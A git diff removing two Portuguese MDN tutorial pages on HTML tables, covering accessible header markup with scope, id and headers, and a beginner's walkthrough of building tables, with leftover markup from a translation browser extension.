- <tr>
- <th scope="row">Brussels</th>
- <td>51</td>
- <td>27</td>
- <td>38</td>
- <td>69</td>
- <td>28</td>
- </tr>
- <tr>
- <th rowspan="2" scope="rowgroup">The Netherlands</th>
- <th scope="row">Amsterdam</th>
- <td>89</td>
- <td>34</td>
- <td>69</td>
- <td>85</td>
- <td>38</td>
- </tr>
- <tr>
- <th scope="row">Utrecht</th>
- <td>80</td>
- <td>12</td>
- <td>43</td>
- <td>36</td>
- <td>19</td>
- </tr>
- </tbody>
-</table>
-
-<p>But what if you cannot make those visual associations? How then can you read a table like the above? Visually impaired people often use a screenreader that reads out information on web pages to them. This is no problem when you're reading plain text but interpreting a table can be quite a challenge for a blind person. Nevertheless, with the proper markup we can replace visual associations by programmatic ones.</p>
-
-<p>This section of the article provides further techniques for making tables as accessible as possible.</p>
-
-<h3 class="attTitle" id="Utilizar_os_cabeçalhos_de_coluna_e_linha">Utilizar os cabeçalhos de coluna e linha</h3>
-
-<p>Screenreaders will identify all headers and use them to make programmatic associations between those headers and the cells they relate to. The combination of column and row headers will identify and interpret the data in each cell so that screenreader user can interpret the table similarly to how a sighted user does.</p>
-
-<p>We already covered headers in our previous article — see <a href="https://developer.mozilla.org/en-US/docs/Learn/HTML/Tables/Basics#Adding_headers_with_%3Cth%3E_elements">Adding headers with &lt;th&gt; elements</a>.</p>
-
-<h3 class="attTitle" id="O_atributo_de_scope">O atributo de <em>scope</em></h3>
-
-<p>A new topic for this article is the {{htmlattrxref("scope","th")}} attribute, which can be added to the <code>&lt;th&gt;</code> element to tell screenreaders exactly what cells the header is a header for — is it a header for the row it is in, or the column, for example? Looking back to our spending record example from earlier on, you could unambiguously define the column headers as column headers like this:</p>
-
-<pre class="brush: html">&lt;thead&gt;
- &lt;tr&gt;
- &lt;th scope="col"&gt;Purchase&lt;/th&gt;
- &lt;th scope="col"&gt;Location&lt;/th&gt;
- &lt;th scope="col"&gt;Date&lt;/th&gt;
- &lt;th scope="col"&gt;Evaluation&lt;/th&gt;
- &lt;th scope="col"&gt;Cost (€)&lt;/th&gt;
- &lt;/tr&gt;
-&lt;/thead&gt;</pre>
-
-<p>And each row could have a header defined like this (if we added row headers as well as column headers):</p>
-
-<pre class="brush: html">&lt;tr&gt;
- &lt;th scope="row"&gt;Haircut&lt;/th&gt;
- &lt;td&gt;Hairdresser&lt;/td&gt;
- &lt;td&gt;12/09&lt;/td&gt;
- &lt;td&gt;Great idea&lt;/td&gt;
- &lt;td&gt;30&lt;/td&gt;
-&lt;/tr&gt;</pre>
-
-<p>Screenreaders will recognize markup structured like this, and allow their users to read out the entire column or row at once, for example.</p>
-
-<p><code>scope</code> has two more possible values — <code>colgroup</code> and <code>rowgroup</code>. these are used for headings that sit over the top of multiple columns or rows. If you look back at the "Items sold..." table at the start of this section of the article, you'll see that the "Clothes" cell sits above the "Trousers", "Skirts", and "Dresses" cells. All of these cells should be marked up as headers (<code>&lt;th&gt;</code>), but "Clothes" is a heading that sits over the top and defines the other three subheadings. "Clothes" therefore should get an attribute of <code>scope="colgroup"</code>, whereas the others would get an attribute of <code>scope="col"</code>.</p>
-
-<h3 class="attTitle" id="A_identificação_e_atributos_de_cabeçalhos">A identificação e atributos de cabeçalhos</h3>
-
-<p>An alternative to using the <code>scope</code> attribute is to use {{htmlattrxref("id")}} and {{htmlattrxref("headers", "td")}} attributes to create associations between headers and cells. The way they are used is as follows:</p>
-
-<ol>
- <li>You add a unique <code>id</code> to each <code>&lt;th&gt;</code> element.</li>
- <li>You add a <code>headers</code> attribute to each <code>&lt;td&gt;</code> element. Each <code>headers</code> attribute has to contain a list of the <code>id</code>s of all the &lt;th&gt; elements that act as a header for that cell, separated by spaces.</li>
-</ol>
-
-<p>This gives your HTML table an explicit definition of the position of each cell in the table, defined by the header(s) for each column and row it is part of, kind of like a spreadsheet. For it to work well, the table really needs both column and row headers.</p>
-
-<p>Returning to our spending costs example, the previous two snippets could be rewritten like this:</p>
-
-<pre class="brush: html">&lt;thead&gt;
- &lt;tr&gt;
- &lt;th id="purchase"&gt;Purchase&lt;/th&gt;
- &lt;th id="location"&gt;Location&lt;/th&gt;
- &lt;th id="date"&gt;Date&lt;/th&gt;
- &lt;th id="evaluation"&gt;Evaluation&lt;/th&gt;
- &lt;th id="cost"&gt;Cost (€)&lt;/th&gt;
- &lt;/tr&gt;
-&lt;/thead&gt;
-&lt;tbody&gt;
-&lt;tr&gt;
- &lt;th id="haircut"&gt;Haircut&lt;/th&gt;
- &lt;td headers="location haircut"&gt;Hairdresser&lt;/td&gt;
- &lt;td headers="date haircut"&gt;12/09&lt;/td&gt;
- &lt;td headers="evaluation haircut"&gt;Great idea&lt;/td&gt;
- &lt;td headers="cost haircut"&gt;30&lt;/td&gt;
-&lt;/tr&gt;
-
- ...
-
-&lt;/tbody&gt;</pre>
-
-<div class="note">
-<p><strong>Nota</strong>: This method creates very precise associations between headers and data cells but it uses <strong>a lot</strong> more markup and does not leave any room for errors.  The <code>scope</code> approach is usually enough for most tables.</p>
-</div>
-
-<h3 id="Aprendizagem_ativa_manipular_scope_e_cabeçalhos">Aprendizagem ativa: manipular <em>scope</em> e cabeçalhos</h3>
-
-<ol>
- <li>For this final exercise, we'd like you to first make local copies of <a href="https://github.com/mdn/learning-area/blob/master/html/tables/advanced/items-sold.html">items-sold.html</a> and <a href="https://github.com/mdn/learning-area/blob/master/html/tables/advanced/minimal-table.css">minimal-table.css</a>, in a new directory.</li>
- <li>Now try adding in the appropriate <code>scope</code> attributes to make this table more appropriate.</li>
- <li>Finally, try making another copy of the starter files, and this time make the table more accessible using <code>id</code> and <code>headers</code> attributes.</li>
-</ol>
-
-<div class="note">
-<p><strong>Nota</strong>: You can check your work against our finished examples — see <a href="https://github.com/mdn/learning-area/blob/master/html/tables/advanced/items-sold-scope.html">items-sold-scope.html</a> (<a href="http://mdn.github.io/learning-area/html/tables/advanced/items-sold-scope.html">also see this live</a>) and <a href="https://github.com/mdn/learning-area/blob/master/html/tables/advanced/items-sold-headers.html">items-sold-headers.html</a> (<a href="http://mdn.github.io/learning-area/html/tables/advanced/items-sold-headers.html">see this live too</a>).</p>
-</div>
-
-<h2 id="Resumo">Resumo</h2>
-
-<p>There are a few other things you could learn about table HTML, but we have really given all you need to know at this moment in time. At this point, you might want to go and learn about styling HTML tables — see <a href="/en-US/docs/Learn/CSS/Styling_boxes/Styling_tables">Styling Tables</a>.</p>
-
-<div>{{PreviousMenuNext("Learn/HTML/Tables/Basics", "Learn/HTML/Tables/Structuring_planet_data", "Learn/HTML/Tables")}}</div>
-
-<div id="SL_balloon_obj" style="display: block;">
-<div class="SL_ImTranslatorLogo" id="SL_button" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%; opacity: 1; display: none; left: -8px; top: -25px;"> </div>
-
-<div id="SL_shadow_translation_result2" class="hidden"> </div>
-
-<div id="SL_shadow_translator" class="hidden">
-<div id="SL_planshet">
-<div id="SL_arrow_up" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;"> </div>
-
-<div id="SL_Bproviders">
-<div class="SL_BL_LABLE_ON" id="SL_P0" title="Google">G</div>
-
-<div class="SL_BL_LABLE_ON" id="SL_P1" title="Microsoft">M</div>
-
-<div class="SL_BL_LABLE_ON" id="SL_P2" title="Translator">T</div>
-</div>
-
-<div id="SL_alert_bbl" class="hidden">
-<div id="SLHKclose" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;"> </div>
-
-<div id="SL_alert_cont"> </div>
-</div>
-
-<div id="SL_TB">
-<table id="SL_tables">
- <tbody><tr>
- <td class="SL_td"><input></td>
- <td class="SL_td"><select><option value="auto">Detectar idioma</option><option value="af">Africâner</option><option value="sq">Albanês</option><option value="de">Alemão</option><option value="ar">Arabe</option><option value="hy">Armênio</option><option value="az">Azerbaijano</option><option value="eu">Basco</option><option value="bn">Bengali</option><option value="be">Bielo-russo</option><option value="my">Birmanês</option><option value="bs">Bósnio</option><option value="bg">Búlgaro</option><option value="ca">Catalão</option><option value="kk">Cazaque</option><option value="ceb">Cebuano</option><option value="ny">Chichewa</option><option value="zh-CN">Chinês (Simp)</option><option value="zh-TW">Chinês (Trad)</option><option value="si">Cingalês</option><option value="ko">Coreano</option><option value="ht">Crioulo haitiano</option><option value="hr">Croata</option><option value="da">Dinamarquês</option><option value="sk">Eslovaco</option><option value="sl">Esloveno</option><option value="es">Espanhol</option><option value="eo">Esperanto</option><option value="et">Estoniano</option><option value="fi">Finlandês</option><option value="fr">Francês</option><option value="gl">Galego</option><option value="cy">Galês</option><option value="ka">Georgiano</option><option value="el">Grego</option><option value="gu">Gujarati</option><option value="ha">Hauça</option><option value="iw">Hebraico</option><option value="hi">Hindi</option><option value="hmn">Hmong</option><option value="nl">Holandês</option><option value="hu">Húngaro</option><option value="ig">Igbo</option><option value="id">Indonésio</option><option value="en">Inglês</option><option value="yo">Ioruba</option><option value="ga">Irlandês</option><option value="is">Islandês</option><option value="it">Italiano</option><option value="ja">Japonês</option><option value="jw">Javanês</option><option value="kn">Kannada</option><option value="km">Khmer</option><option value="lo">Laosiano</option><option value="la">Latim</option><option value="lv">Letão</option><option value="lt">Lituano</option><option value="mk">Macedônico</option><option value="ml">Malaiala</option><option value="ms">Malaio</option><option value="mg">Malgaxe</option><option value="mt">Maltês</option><option value="mi">Maori</option><option value="mr">Marathi</option><option value="mn">Mongol</option><option value="ne">Nepalês</option><option value="no">Norueguês</option><option value="fa">Persa</option><option value="pl">Polonês</option><option value="pt">Português</option><option value="pa">Punjabi</option><option value="ro">Romeno</option><option value="ru">Russo</option><option value="sr">Sérvio</option><option value="st">Sesotho</option><option value="so">Somália</option><option value="sw">Suaíli</option><option value="su">Sudanês</option><option value="sv">Sueco</option><option value="tg">Tadjique</option><option value="tl">Tagalo</option><option value="th">Tailandês</option><option value="ta">Tâmil</option><option value="cs">Tcheco</option><option value="te">Telugo</option><option value="tr">Turco</option><option value="uk">Ucraniano</option><option value="ur">Urdu</option><option value="uz">Uzbeque</option><option value="vi">Vietnamita</option><option value="yi">Yiddish</option><option value="zu">Zulu</option></select></td>
- <td class="SL_td">
- <div id="SL_switch_b" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;" title="Alternar Idiomas"> </div>
- </td>
- <td class="SL_td"><select><option value="af">Africâner</option><option value="sq">Albanês</option><option value="de">Alemão</option><option value="ar">Arabe</option><option value="hy">Armênio</option><option value="az">Azerbaijano</option><option value="eu">Basco</option><option value="bn">Bengali</option><option value="be">Bielo-russo</option><option value="my">Birmanês</option><option value="bs">Bósnio</option><option value="bg">Búlgaro</option><option value="ca">Catalão</option><option value="kk">Cazaque</option><option value="ceb">Cebuano</option><option value="ny">Chichewa</option><option value="zh-CN">Chinês (Simp)</option><option value="zh-TW">Chinês (Trad)</option><option value="si">Cingalês</option><option value="ko">Coreano</option><option value="ht">Crioulo haitiano</option><option value="hr">Croata</option><option value="da">Dinamarquês</option><option value="sk">Eslovaco</option><option value="sl">Esloveno</option><option value="es">Espanhol</option><option value="eo">Esperanto</option><option value="et">Estoniano</option><option value="fi">Finlandês</option><option value="fr">Francês</option><option value="gl">Galego</option><option value="cy">Galês</option><option value="ka">Georgiano</option><option value="el">Grego</option><option value="gu">Gujarati</option><option value="ha">Hauça</option><option value="iw">Hebraico</option><option value="hi">Hindi</option><option value="hmn">Hmong</option><option value="nl">Holandês</option><option value="hu">Húngaro</option><option value="ig">Igbo</option><option value="id">Indonésio</option><option selected value="en">Inglês</option><option value="yo">Ioruba</option><option value="ga">Irlandês</option><option value="is">Islandês</option><option value="it">Italiano</option><option value="ja">Japonês</option><option value="jw">Javanês</option><option value="kn">Kannada</option><option value="km">Khmer</option><option value="lo">Laosiano</option><option value="la">Latim</option><option value="lv">Letão</option><option value="lt">Lituano</option><option value="mk">Macedônico</option><option value="ml">Malaiala</option><option value="ms">Malaio</option><option value="mg">Malgaxe</option><option value="mt">Maltês</option><option value="mi">Maori</option><option value="mr">Marathi</option><option value="mn">Mongol</option><option value="ne">Nepalês</option><option value="no">Norueguês</option><option value="fa">Persa</option><option value="pl">Polonês</option><option value="pt">Português</option><option value="pa">Punjabi</option><option value="ro">Romeno</option><option value="ru">Russo</option><option value="sr">Sérvio</option><option value="st">Sesotho</option><option value="so">Somália</option><option value="sw">Suaíli</option><option value="su">Sudanês</option><option value="sv">Sueco</option><option value="tg">Tadjique</option><option value="tl">Tagalo</option><option value="th">Tailandês</option><option value="ta">Tâmil</option><option value="cs">Tcheco</option><option value="te">Telugo</option><option value="tr">Turco</option><option value="uk">Ucraniano</option><option value="ur">Urdu</option><option value="uz">Uzbeque</option><option value="vi">Vietnamita</option><option value="yi">Yiddish</option><option value="zu">Zulu</option></select></td>
- <td class="SL_td">
- <div id="SL_TTS_voice" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;" title="Ouça"> </div>
- </td>
- <td class="SL_td">
- <div class="SL_copy" id="SL_copy" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;" title="Copiar"> </div>
- </td>
- <td class="SL_td">
- <div id="SL_bbl_font_patch"> </div>
-
- <div class="SL_bbl_font" id="SL_bbl_font" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;" title="Tamanho da fonte"> </div>
- </td>
- <td class="SL_td">
- <div id="SL_bbl_help" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;" title="Ajuda"> </div>
- </td>
- <td class="SL_td">
- <div class="SL_pin_off" id="SL_pin" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;" title="Fixar a janela de pop-up"> </div>
- </td>
- </tr>
-</tbody></table>
-</div>
-</div>
-
-<div id="SL_shadow_translation_result" style=""> </div>
-
-<div class="SL_loading" id="SL_loading" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;"> </div>
-
-<div id="SL_player2"> </div>
-
-<div id="SL_alert100">A função de fala é limitada a 200 caracteres</div>
-
-<div id="SL_Balloon_options" style="background: rgb(255, 255, 255) repeat scroll 0% 0%;">
-<div id="SL_arrow_down" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;"> </div>
-
-<table id="SL_tbl_opt" style="width: 100%;">
- <tbody><tr>
- <td><input></td>
- <td>
- <div id="SL_BBL_IMG" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;" title="Mostrar o botão do ImTranslator 3 segundos"> </div>
- </td>
- <td><a class="SL_options" title="Mostrar opções">Opções</a> : <a class="SL_options" title="Histórico de tradução">Histórico</a> : <a class="SL_options" title="Comentários">Comentários</a> : <a class="SL_options" href="https://www.paypal.com/cgi-bin/webscr?cmd=_s-xclick&amp;hosted_button_id=GD9D8CPW8HFA2" title="Faça sua contribuição">Donate</a></td>
- <td><span id="SL_Balloon_Close" title="Encerrar">Encerrar</span></td>
- </tr>
-</tbody></table>
-</div>
-</div>
-</div>
diff --git a/files/pt-pt/learn/html/tables/basics/index.html b/files/pt-pt/learn/html/tables/basics/index.html
deleted file mode 100644
index fa6242c871..0000000000
--- a/files/pt-pt/learn/html/tables/basics/index.html
+++ /dev/null
@@ -1,651 +0,0 @@
----
-title: HTML - o essencial de tabela
-slug: Learn/HTML/Tables/Basics
-tags:
- - Aprender
- - Artigo
- - HTML
- - Linha
- - Principiante
- - básicos
- - cabeçalho
- - coluna
- - célula
- - essencial
- - tabelas
-translation_of: Learn/HTML/Tables/Basics
-original_slug: Learn/HTML/Tables/Basicos
----
-<div>{{LearnSidebar}}</div>
-
-<div>{{NextMenu("Learn/HTML/Tables/Avancada", "Learn/HTML/Tables")}}</div>
-
-<p class="summary">Este artigo inicia-o nas tabelas HTML, abrangendo o essencial, tais como linhas e células, cabeçalhos, distribuir as células por várias colunas e linhas, e como agrupar todas as células em uma coluna para fins de estilização.</p>
-
-<table class="learn-box standard-table">
- <tbody>
- <tr>
- <th scope="row">Pré-requisitos:</th>
- <td>O essencial de HTML (consulte <a href="/pt-PT/docs/Learn/HTML/Introducao_ao_HTML">Introdução ao HTML</a>).</td>
- </tr>
- <tr>
- <th scope="row">Objetivo:</th>
- <td>Familiarizar-se com as tabelas HTML.</td>
- </tr>
- </tbody>
-</table>
-
-<h2 id="O_que_é_uma_tabela">O que é uma tabela?</h2>
-
-<p>Uma tabela é um conjunto estruturado de dados constituído por linhas e colunas (<strong>dados tabulares</strong>). Uma tabela permite consultar, fácil e rapidamente, valores que indiquem alguma relação entre diferentes tipos de dados, por exemplo, uma pessoa e a sua idade, ou os dias da semana num horário de uma piscina.</p>
-
-<p><img alt="A sample table showing names and ages of some people - Chris 38, Dennis 45, Sarah 29, Karen 47." src="https://mdn.mozillademos.org/files/14583/numbers-table.png" style="display: block; height: 156px; margin: 0px auto; width: 350px;"></p>
-
-<p><img alt="A swimming timetable showing a sample data table" src="https://mdn.mozillademos.org/files/14587/swimming-timetable.png" style="display: block; height: 301px; margin: 0px auto; width: 794px;"></p>
-
-<p>As tabelas são utilizadas muito frequentemente na sociedade humana, já há muito tempo, como prova este documento dos US Census, datado de 1800:</p>
-
-<p><img alt="A very old parchment document; the data is not easily readable, but it clearly shows a data table being used." src="https://mdn.mozillademos.org/files/14585/1800-census.jpg" style="display: block; height: 505px; margin: 0px auto; width: 800px;"></p>
-
-<p>Não é, portanto, surpreendente que os criadores do HTML forneceram um meio de estruturar e apresentar dados tabulares na web.</p>
-
-<h3 id="Como_é_que_uma_tabela_funciona">Como é que uma tabela funciona?</h3>
-
-<p>O propósito de uma tabela é ser rígida. A informação é interpretada facilmente através de associação visual entre cabeçalhos de linhas e colunas. Olhe para a tabela em baixo, por exemplo, e encontre um gigante gasoso Joviano com 62 luas. Pode chegar à resposta associando os cabeçalhos das linhas e colunas relevantes.</p>
-
-<table>
- <caption>Dados de planetas no sistema solar (Factos planetários retirados de  <a href="http://nssdc.gsfc.nasa.gov/planetary/factsheet/">Nasa's Planetary Fact Sheet - Metric</a>)</caption>
- <thead>
- <tr>
- <td colspan="2"> </td>
- <th scope="col">Nome</th>
- <th scope="col">Massa (10<sup>24</sup>kg)</th>
- <th scope="col">Diâmetro (km)</th>
- <th scope="col">Densidade (kg/m<sup>3</sup>)</th>
- <th scope="col">Gravidade (m/s<sup>2</sup>)</th>
- <th scope="col">Duração do dia (horas)</th>
- <th scope="col">Distância do Sol (10<sup>6</sup>km)</th>
- <th scope="col">Temperatura média (°C)</th>
- <th scope="col">Número de luas</th>
- <th scope="col">Notas</th>
- </tr>
- </thead>
- <tbody>
- <tr>
- <th colspan="2" rowspan="4" scope="rowgroup">Planetas rochosos</th>
- <th scope="row">Mercúrio</th>
- <td>0.330</td>
- <td>4 879</td>
- <td>5427</td>
- <td>3,7</td>
- <td>4222,6</td>
- <td>57,9</td>
- <td>167</td>
- <td>0</td>
- <td>O mais próximo do Sol</td>
- </tr>
- <tr>
- <th scope="row">Vénus</th>
- <td>4.87</td>
- <td>12 104</td>
- <td>5243</td>
- <td>8,9</td>
- <td>2802,0</td>
- <td>108,2</td>
- <td>464</td>
- <td>0</td>
- <td> </td>
- </tr>
- <tr>
- <th scope="row">Terra</th>
- <td>5.97</td>
- <td>12 756</td>
- <td>5514</td>
- <td>9,8</td>
- <td>24,0</td>
- <td>149,6</td>
- <td>15</td>
- <td>1</td>
- <td>O nosso mundo</td>
- </tr>
- <tr>
- <th scope="row">Marte</th>
- <td>0.642</td>
- <td>6 792</td>
- <td>3933</td>
- <td>3,7</td>
- <td>24,7</td>
- <td>227,9</td>
- <td>-65</td>
- <td>2</td>
- <td>O planeta vermelho</td>
- </tr>
- <tr>
- <th rowspan="4" scope="rowgroup">Gigantes Jovianos</th>
- <th rowspan="2" scope="rowgroup">Gigantes gasosos</th>
- <th scope="row">Júpiter</th>
- <td>1898</td>
- <td>142 984</td>
- <td>1326</td>
- <td>23,1</td>
- <td>9,9</td>
- <td>778,6</td>
- <td>-110</td>
- <td>67</td>
- <td>O maior planeta</td>
- </tr>
- <tr>
- <th scope="row">Saturno</th>
- <td>568</td>
- <td>120 536</td>
- <td>687</td>
- <td>9,0</td>
- <td>10,7</td>
- <td>1433,5</td>
- <td>-140</td>
- <td>62</td>
- <td> </td>
- </tr>
- <tr>
- <th rowspan="2" scope="rowgroup">Gigantes gelado</th>
- <th scope="row">Urano</th>
- <td>86.8</td>
- <td>51 118</td>
- <td>1271</td>
- <td>8,7</td>
- <td>17,2</td>
- <td>2872,5</td>
- <td>-195</td>
- <td>27</td>
- <td> </td>
- </tr>
- <tr>
- <th scope="row">Neptuno</th>
- <td>102</td>
- <td>49 528</td>
- <td>1638</td>
- <td>11,0</td>
- <td>16,1</td>
- <td>4495,1</td>
- <td>-200</td>
- <td>14</td>
- <td> </td>
- </tr>
- <tr>
- <th colspan="2" scope="rowgroup">Planetas anões</th>
- <th scope="row">Plutão</th>
- <td>0.0146</td>
- <td>2 370</td>
- <td>2095</td>
- <td>0,7</td>
- <td>153,3</td>
- <td>5906,4</td>
- <td>-225</td>
- <td>5</td>
- <td>Desclassificado como planeta em 2006, mas tal <a href="http://www.usatoday.com/story/tech/2014/10/02/pluto-planet-solar-system/16578959/">ainda é controverso</a>.</td>
- </tr>
- </tbody>
-</table>
-
-<p>Quando executada corretamente, até cegos podem interpretar dados tabulares numa tabela de HTML — uma tabela de HTML bem sucedida deve melhorar a experiência utilizadores com deficiências visuais.</p>
-
-<h3 id="Estilização_da_tabela">Estilização da tabela</h3>
-
-<p>Também pode <a href="https://mdn.github.io/learning-area/html/tables/assessment-finished/planets-data.html">ver este exemplo ao vivo</a> no GitHub! Algo que vai notar é que a tabela parece um pouco mais legível lá — isto acontece porque a tabela em cima tem estilização mínima, ao passo que a versão do GitHub aplica estilos CSS mais significativos.</p>
-
-<p>Não se iluda; para as tabelas serem eficazes na internet, tem que fornecer alguma informação de estilos com <a href="/en-US/docs/Learn/CSS">CSS</a>, assim como uma boa estrutura sólida com HTML. Neste módulo focamo-nos na parte de HTML; para saber mais sobre a parte de CSS deve visitar o nosso artigo sobre <a href="/en-US/docs/Learn/CSS/Styling_boxes/Styling_tables">Estilizar tabelas</a>, quando acabar de ler este.</p>
-
-<p>Não nos vamos focar em CSS neste módulo, mas proporcionamos uma folha de estilos CSS mínima que pode usar para tornar as suas tabelas mais legíveis do que se não tivesse estilo. Pode obter a <a href="https://github.com/mdn/learning-area/blob/master/html/tables/basic/minimal-table.css">folha de estilos aqui</a>, e também pode obter um <a href="https://github.com/mdn/learning-area/blob/master/html/tables/basic/blank-template.html">modelo HTML</a> que aplica a folha de estilos — juntando estes dois documentos terá um bom ponto de partida para fazer experiências com tabelas HTML.</p>
-
-<h3 id="Quando_NÃO_deverá_utilizar_tabelas_HTML">Quando NÃO deverá utilizar tabelas HTML?</h3>
-
-<p>Tabelas em HTML devem ser utilizdas para mostrar dados tabulares — é para isso que foram concebidas. Infelizmente, muitas pessoas costumavam usar tabelas HTML para dispor páginas web: por exemplo, uma linha contém o cabeçalho, uma linha possui o conteúdo, organizado em colunas, outra linha contém o rodapé, etc. Esta prática era comum porque o suporte para CSS nos vários navegadores costumava ser horrível. Hoje em dia, layouts com tabelas são muito menos comuns, mas ainda os poderá encontrar em alguns cantos da internet. Poderá encontrar mais detalhes e um exemplo no artigo <a href="/en-US/docs/Learn/Accessibility/HTML#Page_layouts">Layouts de páginas</a> no nosso <a href="/en-US/docs/Learn/Accessibility">Módulo de Acessibilidade</a>.</p>
-
-<p>Resumidamente, recorrer a tabelas para dispor elementos em vez de <a href="/en-US/docs/Learn/CSS/CSS_layout">Técnicas de layout CSS</a> é má ideia. As razões principais são as seguintes:</p>
-
-<ol>
- <li><strong>Layouts com tabelas reduzem acessibilidade de utilizadores com deficiências visuais</strong>: <a href="/en-US/docs/Learn/Tools_and_testing/Cross_browser_testing/Accessibility#Screenreaders">Os leitores de ecrãs</a>, usados por cegos, interpretam as etiquetas existentes na página HTML e lêem o conteúdo em voz alta. Como tabelas não são uma ferramenta adequada para o layout, e a marcação é mais complexa do que se recorresse a técnicas de layout de CSS, a informação dada pelos leitores de ecrãs será confusa para os seus utilizadores.</li>
- <li><strong>Tabelas produzem "sopa" de etiquetas</strong>: Como já foi referido, layouts com tabelas geralmente envolvem estruturas de marcação mais complexas do que as técnicas de layout próprias. Isto torna o código mais difícil de escrever, manter e depurar.</li>
- <li><strong>Tabelas não são automaticamente responsivas</strong>: Ao usar contentores próprios (como {{htmlelement("header")}}, {{htmlelement("section")}}, {{htmlelement("article")}}, ou {{htmlelement("div")}}), a sua largura por omissão é 100% do elemento pai. Tabelas, pelo contrário, são dimensionadas de acordo com o seu conteúdo, pelo que são necessárias medidas adicionais para conseguir que o estilo do layout funcione eficazmente numa variedade de dispositivos.</li>
-</ol>
-
-<h2 id="Aprendizagem_ativa_Criar_a_sua_primeira_tabela">Aprendizagem ativa: Criar a sua primeira tabela</h2>
-
-<p>We've talked table theory enough, so, let's dive into a practical example and build up a simple table.</p>
-
-<ol>
- <li>First of all, make a local copy of <a href="https://github.com/mdn/learning-area/blob/master/html/tables/basic/blank-template.html">blank-template.html</a> and <a href="https://github.com/mdn/learning-area/blob/master/html/tables/basic/minimal-table.css">minimal-table.css</a> in a new directory on your local machine.</li>
- <li>The content of every table is enclosed by these two tags : <strong><code><a href="/en-US/docs/Web/HTML/Element/table">&lt;table&gt;&lt;/table&gt;</a></code></strong>. Add these inside the body of your HTML.</li>
- <li>The smallest container inside a table is a table cell, which is created by a <strong><code><a href="/en-US/docs/Web/HTML/Element/td">&lt;td&gt;</a></code></strong> element ('td' stands for 'table data'). Add the following inside your table tags:
- <pre class="brush: html">&lt;td&gt;Hi, I'm your first cell.&lt;/td&gt;</pre>
- </li>
- <li>If we want a row of four cells, we need to copy these tags three times. Update the contents of your table to look like so:
- <pre class="brush: html">&lt;td&gt;Hi, I'm your first cell.&lt;/td&gt;
-&lt;td&gt;I'm your second cell.&lt;/td&gt;
-&lt;td&gt;I'm your third cell.&lt;/td&gt;
-&lt;td&gt;I'm your fourth cell.&lt;/td&gt;</pre>
- </li>
-</ol>
-
-<p>As you will see, the cells are not placed underneath each other, rather they are automatically aligned with other on the same row. Each <code>&lt;td&gt;</code> element creates a single cell and together they make up the first row. Every cell we add makes the row grow longer.</p>
-
-<p>To stop this row from growing and start placing subsequent cells on a second row, we need to use the <strong><code><a href="/en-US/docs/Web/HTML/Element/tr">&lt;tr&gt;</a></code></strong> element ('tr' stands for 'table row'). Let's investigate this now.</p>
-
-<ol>
- <li>Place the four cells you've already created inside <code>&lt;tr&gt;</code> tags, like so:
-
- <pre class="brush: html">&lt;tr&gt;
- &lt;td&gt;Hi, I'm your first cell.&lt;/td&gt;
- &lt;td&gt;I'm your second cell.&lt;/td&gt;
- &lt;td&gt;I'm your third cell.&lt;/td&gt;
- &lt;td&gt;I'm your fourth cell.&lt;/td&gt;
-&lt;/tr&gt;</pre>
- </li>
- <li>Now you've made one row, have a go at making one or two more — each row needs to be wrapped in an additional <code>&lt;tr&gt;</code> element, with each cell contained in a <code>&lt;td&gt;</code>.</li>
-</ol>
-
-<p>This should result in a table that looks something like the following:</p>
-
-<table>
- <tbody>
- <tr>
- <td>Hi, I'm your first cell.</td>
- <td>I'm your second cell.</td>
- <td>I'm your third cell.</td>
- <td>I'm your fourth cell.</td>
- </tr>
- <tr>
- <td>Second row, first cell.</td>
- <td>Cell 2.</td>
- <td>Cell 3.</td>
- <td>Cell 4.</td>
- </tr>
- </tbody>
-</table>
-
-<div class="note">
-<p><strong>Nota</strong>:também pode encontrar isto no GitHub, como <em><a href="https://github.com/mdn/learning-area/blob/master/html/tables/basic/simple-table.html">simple-table.html</a></em> (<a href="http://mdn.github.io/learning-area/html/tables/basic/simple-table.html">veja-a em execução</a>).</p>
-</div>
-
-<h2 id="Adicionar_cabeçalhos_com_elementos_&lt;th>">Adicionar cabeçalhos com elementos &lt;th&gt;</h2>
-
-<p>Now let's turn our attention to table headers — special cells that go at the start of a row or column and define the type of data that row or column contains (as an example, see the "Person" and "Age" cells in the first example shown in this article). To illustrate why they are useful, have a look at the following table example. First the source code:</p>
-
-<pre class="brush: html">&lt;table&gt;
- &lt;tr&gt;
- &lt;td&gt;&amp;nbsp;&lt;/td&gt;
- &lt;td&gt;Knocky&lt;/td&gt;
- &lt;td&gt;Flor&lt;/td&gt;
- &lt;td&gt;Ella&lt;/td&gt;
- &lt;td&gt;Juan&lt;/td&gt;
- &lt;/tr&gt;
- &lt;tr&gt;
- &lt;td&gt;Breed&lt;/td&gt;
- &lt;td&gt;Jack Russell&lt;/td&gt;
- &lt;td&gt;Poodle&lt;/td&gt;
- &lt;td&gt;Streetdog&lt;/td&gt;
- &lt;td&gt;Cocker Spaniel&lt;/td&gt;
- &lt;/tr&gt;
- &lt;tr&gt;
- &lt;td&gt;Age&lt;/td&gt;
- &lt;td&gt;16&lt;/td&gt;
- &lt;td&gt;9&lt;/td&gt;
- &lt;td&gt;10&lt;/td&gt;
- &lt;td&gt;5&lt;/td&gt;
- &lt;/tr&gt;
- &lt;tr&gt;
- &lt;td&gt;Owner&lt;/td&gt;
- &lt;td&gt;Mother-in-law&lt;/td&gt;
- &lt;td&gt;Me&lt;/td&gt;
- &lt;td&gt;Me&lt;/td&gt;
- &lt;td&gt;Sister-in-law&lt;/td&gt;
- &lt;/tr&gt;
- &lt;tr&gt;
- &lt;td&gt;Eating Habits&lt;/td&gt;
- &lt;td&gt;Eats everyone's leftovers&lt;/td&gt;
- &lt;td&gt;Nibbles at food&lt;/td&gt;
- &lt;td&gt;Hearty eater&lt;/td&gt;
- &lt;td&gt;Will eat till he explodes&lt;/td&gt;
- &lt;/tr&gt;
-&lt;/table&gt;</pre>
-
-<p>Em baixo, tem a tabela renderizada:</p>
-
-<table>
- <tbody>
- <tr>
- <td> </td>
